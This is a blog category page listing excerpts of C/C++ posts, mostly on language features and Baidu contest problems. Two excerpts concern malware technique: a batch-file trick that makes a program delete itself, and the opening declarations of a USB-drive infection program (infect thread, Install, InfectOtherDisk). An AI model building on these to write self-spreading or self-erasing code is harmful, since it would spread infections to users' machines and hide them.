C/C++
文章平均质量分 57
missvip
从事软件开发
展开
-
程序通过创建线程实现删除自身
网上一般是通过创建批处理文件实现删除自身@echo offloop del access.exe if exist access.exegoto loopdel DelMe.bat下面用C/C++语言表示创建DelMe.bat文件FILE *pFile=NULL;pFile=fopen("DelMe.bat","w");if(pFile==NULL){ retur原创 2007-09-09 19:56:00 · 1192 阅读 · 0 评论 -
感染U盘程序
#include "stdafx.h"#include #include HANDLE hMutex;//信号量句柄DWORD WINAPI infect(LPVOID lpParam);//感染void Install(void); //安装void InfectOtherDisk();//感染其它盘char ExeFile[MAX_PATH]; //==================原创 2007-09-09 20:10:00 · 1060 阅读 · 0 评论 -
C++函数返回对象探讨
以下函数ReturnObjectDirect与ReturnObject分别调用了多少次构造函数?#include using namespace std;class Base{public: Base( ) { cout } Base(const Base & other) { cout } ~Base() {原创 2007-09-10 23:08:00 · 729 阅读 · 0 评论 -
非const引用不能绑定非左值(no-lvalue)
对于一个const T&的初始式不必是一个左值,甚至可以不是类型T,但是非const引用不能绑定非左值(no-lvalue)非const引用double &dr =1; //错误:要求左值const引用const double &dr=1; //OK对于const引用的解释:double temp=double(1); //首先建立一个具有正确值的临时变量const原创 2007-09-11 19:49:00 · 1630 阅读 · 0 评论 -
尽量用“传引用”而不用“传值”--------(读后感)
/*注:转载请保留下面完整信息From http://blog.csdn.net/missvip/ By 凌剑*/为什么EffectiveC++提出尽量用“传引用”而不用“传值”了?今天重温习了一下EffectiveC++的ITEM 22,感觉又有了新的体会,加深了对传引用与传值的认识与了解。 引用不会引起对象的构造与析构,所以可以提高程序的运行效率。下面以例子说明传引原创 2007-09-12 22:40:00 · 998 阅读 · 0 评论 -
map与vector
当向map容器中插入数据,用迭代器输出是会按顺序输出如下: #include #include #include using namespace std; typedef原创 2007-10-01 22:10:00 · 806 阅读 · 0 评论 -
2006百度之星设计大赛-------(饭团的烦恼)
“午餐饭团”是百度内部参与人数最多的民间组织。同一个部门的、同一所大学的、同一年出生的、使用同一种型号电脑的员工们总是以各种理由组织各种长期的、临时的饭团。参加饭团,不仅可以以优惠的价格尝到更加丰富的菜式,还可以在吃饭的时候和同事们增进感情。但是,随着百度的员工越来越多,各个饭团的管理变得繁杂起来。特别是为了照顾员工们越来越挑剔的胃,饭团的点菜负责人的压力也越来越大。现在,这个任务就交给“原创 2007-10-02 22:14:00 · 1487 阅读 · 0 评论 -
百度语言翻译机
今天看到百度语言翻译机的题目,闲着没有事就练习一下试题:百度的工程师们是非常注重效率的,在长期的开发与测试过程中,他们逐渐创造了一套 独特的缩略语。他们在平时的交谈、会议,甚至在各种技术文档中都会大量运用。 为了让新员工可以更快地适应百度的文化,更好地阅读公司的技术文档,人力资源部决 定开发一套专用的翻译系统,把相关文档中的缩略语和专有名词翻译成日常语言。 输入要求: 输入数据包含三部分:原创 2007-09-30 22:07:00 · 1934 阅读 · 1 评论